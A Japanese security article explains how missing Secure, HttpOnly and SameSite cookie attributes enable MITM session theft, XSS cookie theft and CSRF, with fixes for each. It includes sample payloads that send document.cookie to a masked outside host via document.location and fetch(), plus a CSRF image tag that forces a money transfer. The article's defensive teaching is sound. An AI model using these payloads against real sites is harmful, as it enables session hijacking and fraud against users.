概要
Webアプリケーションにおいて、セキュリティヘッダーの設定は極めて重要です。しかし、開発現場ではこれらの設定が見落とされたり、不適切に構成されたまま本番環境にリリースされることが少なくありません。特にクッキーに関するヘッダー（Secure、HttpOnly、SameSite）の不備は、セッションハイジャックやクロスサイトリクエストフォージェリ（CSRF）などの深刻な攻撃につながる恐れがあります。
本記事では、これらの設定不備がもたらすリスクについて、攻撃者視点での手法を交えながら解説し、それぞれの属性の概要と効果、そして具体的な対応策を紹介します。
Secure属性の概要
Secure属性は、クッキーがHTTPS接続時にのみクライアントに送信されるよう制限するものです。この属性が設定されていない場合、HTTP通信時にもクッキーが送信されてしまい、通信内容を傍受されたり改ざんされる危険性が高まります。
Secure属性設定不備による具体的な攻撃シナリオ
攻撃者が中間者攻撃（MITM）を仕掛けることで、HTTP通信に乗じてセッションクッキーを盗むことが可能になります。たとえば、公衆Wi-Fiなどの信頼できないネットワーク環境下で通信が傍受されるケースが典型的です。
危険性：セッションハイジャック（中間者攻撃／MITM）
Secure属性が設定されていないクッキーは、HTTP通信時にも送信されます。これにより、暗号化されていないネットワーク環境では、通信が傍受され、セッションクッキーを盗まれる可能性があります。
具体的な攻撃シナリオ
- 被害者が公衆Wi-FiでHTTPページにアクセス
- Secure属性のないセッションクッキーが平文で送信される
- 攻撃者がパケットスニッファー（例：Wireshark）を使ってクッキーを傍受
- 攻撃者が盗んだクッキーを使用して不正ログイン
攻撃結果
アカウント乗っ取り、個人情報流出、金銭的被害など
対応策
- サイト全体をHTTPS化する（HSTSも併用する）
- セッションクッキーに必ず
Secure属性を付与する
Set-Cookie: sessionid=XXXXXX12345678; SecureHttpOnly属性の概要
HttpOnly属性を設定すると、クッキーはJavaScriptからアクセスできなくなります。これにより、クロスサイトスクリプティング（XSS）攻撃によるクッキーの窃取を防ぐことができます。
HttpOnly属性設定不備による具体的な攻撃シナリオ
もしHttpOnly属性が設定されていない場合、攻撃者はXSSを利用して次のようなコードでクッキーを盗むことができます。
document.location='http://XXXXXX/XXXXXXX?cookie=' + document.cookie;危険性：XSS経由のセッション窃取
HttpOnly属性がない場合、JavaScriptでdocument.cookieを通じてクッキーにアクセスできます。XSS攻撃が成功すれば、攻撃者がセッションを盗むのは容易です。
具体例
<script>
fetch("https://XXXXXXXX/XXXX?cookie=" + document.cookie);
</script>
このスクリプトがXSS脆弱なページに挿入されると、HttpOnly未設定のクッキーが外部に送信されます。
攻撃結果：
被害者のアカウントへの不正ログイン、情報窃取、不正購入など
対応策
- セッションクッキーには必ず
HttpOnly属性を設定する
Set-Cookie: sessionid=abc123; HttpOnly- アプリケーション側でのXSS対策（出力時エスケープなど）も併せて実施する
SameSite属性の概要・効果
SameSite属性は、クロスサイトから送信されるリクエストに対して、クッキーが送信されるかどうかを制御します。これにより、CSRF攻撃を防止することができます。
Strict: 完全に同一サイトからのリクエストでしかクッキーが送信されないLax: GETリクエストは許可、POSTなどはブロックNone: すべて許可（ただしSecure属性必須）
SameSite属性設定不備による具体的な攻撃シナリオ
攻撃者は、ユーザーを攻撃対象のWebサイトに対して強制的にリクエストを送信させ（たとえば画像タグや自動送信フォームなどを用いる）、CSRFによってログイン中のセッションで不正な操作を実行させることができます。
危険性：CSRF（クロスサイトリクエストフォージェリ）
SameSite属性が未設定だと、外部サイトからのリクエストにもクッキーが自動送信され、CSRF攻撃が成立します。
具体例：
<img src="https://XXXXXXXX/XXXXXX?to=attacker&amount=10000" />このようなHTMLを攻撃者のサイトに埋め込むことで、ログイン済みの被害者のアカウントから不正な送金リクエストが実行されてしまいます。
攻撃結果：
意図しない金銭送金、不正操作、アカウントの利用被害
対応策
- セッションクッキーに適切な
SameSite属性を設定する（通常はLaxまたはStrict、外部連携が必要な場合のみNone）
Set-Cookie: sessionid=abc123; SameSite=Laxまとめ
| 属性名 | 未設定時の主な攻撃 | 具体的な被害例 |
|---|---|---|
| Secure | 中間者攻撃（MITM） | 公衆Wi-Fiでセッションを盗まれる |
| HttpOnly | XSSによるクッキーの窃取 | JavaScriptでセッションを盗まれ、乗っ取られる |
| SameSite | CSRF攻撃 | 外部サイトからの不正送金など |
上記のように、たった1つの属性設定の漏れが、重大なセキュリティ事故を招く恐れがあります。Webアプリケーションのセッション管理を安全に保つためには、Secure / HttpOnly / SameSiteのすべての設定を適切に行うことが必要です。
開発・運用チームは、これらのヘッダー設定を忘れず、常にテストと見直しを行いましょう。
最後に
今回はWebサイトのヘッダーの設定不備について記載しましたが、いかがだったでしょうか。
本記事は下記書籍を参考にしておりますので、ご紹介します。Webセキュリティについて実際に手を動かしながら学べて、知識定着しやすいですのでお薦めです。
参考文献
・徳丸浩 「安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践」,2018年6月28日
コメント